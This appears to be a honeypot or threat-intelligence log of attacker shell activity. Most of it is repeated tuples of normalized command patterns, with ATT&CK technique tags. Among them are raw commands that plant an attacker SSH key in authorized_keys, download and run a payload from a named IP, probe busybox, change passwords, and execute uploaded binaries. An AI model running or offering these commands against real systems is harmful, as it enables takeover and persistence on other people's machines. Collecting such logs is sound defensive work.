('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo | chpasswd | bash')


('cat | grep | wc -l', 'echo | chpasswd | bash', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd')


cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a

('cat | grep | cut -f2 -d | uniq -c ; uname -a',)

T1082 System Information Discovery
T1087 Account Discovery


ls -la /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*

('/ip', 'ifconfig', 'uname', 'cat', 'ps | grep [ ]', 'ps -ef | grep [ ]', 'ls', 'echo | cat -n')


('cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep')


('cat | grep | wc -l', 'echo | chpasswd | bash', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo | chpasswd | bash', 'echo -e | passwd | bash', 'Enter', 'echo | passwd')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd', 'echo | chpasswd | bash')


('cat | grep | wc -l', 'echo | chpasswd | bash', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'Enter', 'echo | passwd')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox JXCQZ

('enable', 'system', 'shell', 'sh', 'cat ; /bin/busybox', 'cd ; cat || cp ; /bin/busybox', 'tftp ; wget ; /bin/busybox', 'dd if || cat || while ; do echo $i ; done <', '/bin/busybox', 'rm ; exit')


('cat | grep | wc -l', 'echo | chpasswd | bash', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo | chpasswd | bash', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd', 'echo | chpasswd | bash')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo | chpasswd | bash', 'echo | chpasswd | bash', 'echo | chpasswd | bash', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd', 'echo | chpasswd | bash')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd')


cd /tmp; wget http://31.44.185.235/unknown -O- >.f; chmod 777 .f; ./.f ssh.unknown

cat /bin/sh || cat /bin/busybox || cat /bin/bash

('cat', 'cd ; wget -O- > ; chmod ; ./', 'cat || cat /bin/busybox || cat', 'wget -O- | sh')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox AMMUQ


cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

cat /proc/cpuinfo | grep model | grep name | wc -l

cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo | chpasswd | bash', 'echo | chpasswd | bash')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox RACKG


('cat | grep | wc -l', 'echo | chpasswd | bash', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo | chpasswd | bash')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox TKIAX


('cat | grep | wc -l', 'echo | chpasswd | bash', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'echo | chpasswd | bash', 'echo | chpasswd | bash')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd', 'echo | chpasswd | bash', 'echo | chpasswd | bash')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd', 'echo | chpasswd | bash')


('cat | grep | wc -l', 'echo | chpasswd | bash', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo | chpasswd | bash')


('cat | grep | wc -l', 'echo | chpasswd | bash', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'Enter', 'echo | passwd')


cd /tmp || cd /var/ || cd /var/run || cd /mnt || cd /root || cd /;/bin/busybox echo -ne '\x45\x4c\x46'

/bin/busybox wget;/bin/busybox echo -ne '\x45\x4c\x46'

('start', 'enable', 'config', 'system', 'linuxshell', 'su', 'shell', 'sh', 'cd || cd || cd || cd || cd || cd ; /bin/busybox echo -ne', '/bin/busybox wget ; /bin/busybox echo -ne', 'cd || cd || cd || cd || cd || cd ; rm -rf ; wget ; curl -O ; /bin/busybox wget ; chmod || ( cp ; cat > ; rm ; cp ; rm ) ; ./ ; echo -e')


('cat | grep | wc -l', 'echo | chpasswd | bash', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'echo | chpasswd | bash')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd')


('cat | grep | wc -l', 'echo | chpasswd | bash', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo | chpasswd | bash', 'echo | chpasswd | bash')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd', 'echo | chpasswd | bash', 'echo | chpasswd | bash')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd', 'echo | chpasswd | bash', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd', 'echo | chpasswd | bash', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd', 'echo | chpasswd | bash', 'echo -e | passwd | bash', 'echo | passwd')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd', 'echo | chpasswd | bash')


('cat | grep | wc -l', 'echo | chpasswd | bash', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd')


('cat | grep | wc -l', 'echo | chpasswd | bash', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd')


cd /tmp && chmod +x tZft1Zbk && bash -c ./tZft1Zbk

('scp', 'cd && chmod +x && bash -c ./', './tZft1Zbk')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd')


('cat | grep | wc -l', 'echo | chpasswd | bash', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd', 'echo | chpasswd | bash', 'echo | chpasswd | bash')


('cat | grep | wc -l', 'echo | chpasswd | bash', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo | chpasswd | bash')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo | chpasswd | bash', 'echo -e | passwd | bash', 'echo | passwd')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd', 'echo | chpasswd | bash')


('cat | grep | wc -l', 'echo | chpasswd | bash', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox GLGJO

dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s

('enable', 'system', 'shell', 'sh', 'cat ; /bin/busybox', 'cd ; cat || cp ; /bin/busybox', 'tftp ; wget ; /bin/busybox', 'dd if || cat || while ; do echo $i ; done <', '/bin/busybox', 'rm ; exit')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd', 'echo | chpasswd | bash')


